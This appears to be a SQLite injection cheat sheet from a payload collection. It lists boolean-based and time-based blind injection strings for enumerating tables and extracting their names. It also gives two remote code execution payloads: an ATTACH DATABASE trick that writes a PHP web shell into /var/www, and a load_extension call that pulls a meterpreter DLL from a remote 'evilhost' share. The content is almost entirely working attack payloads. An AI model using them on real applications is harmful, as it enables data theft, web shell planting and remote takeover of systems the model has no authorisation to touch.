## Boolean - Count number of tables
|
||||
|
||||
```sql
|
||||
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
|
||||
```
|
||||
|
||||
## Boolean - Enumerating table name
|
||||
|
||||
```sql
|
||||
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
|
||||
```
|
||||
|
||||
## Boolean - Extract info
|
||||
|
||||
```sql
|
||||
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
|
||||
```
|
||||
|
||||
## Time based
|
||||
|
||||
```sql
|
||||
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
```
|
||||
|
||||
## Remote Command Execution using SQLite command - Attach Database
|
||||
|
||||
```sql
|
||||
ATTACH DATABASE '/var/www/lol.php' AS lol;
|
||||
CREATE TABLE lol.pwn (dataz text);
|
||||
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
|
||||
```
|
||||
|
||||
## Remote Command Execution using SQLite command - Load_extension
|
||||
|
||||
```sql
|
||||
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
|
||||
```
|
||||
|
||||
Note: By default this component is disabled
|
||||
|
||||
## References
|
||||
|
||||
[Injecting SQLite database based application - Manish Kishan Tanwar](https://www.exploit-db.com/docs/41397.pdf)
|
||||
Reference in New Issue
Block a user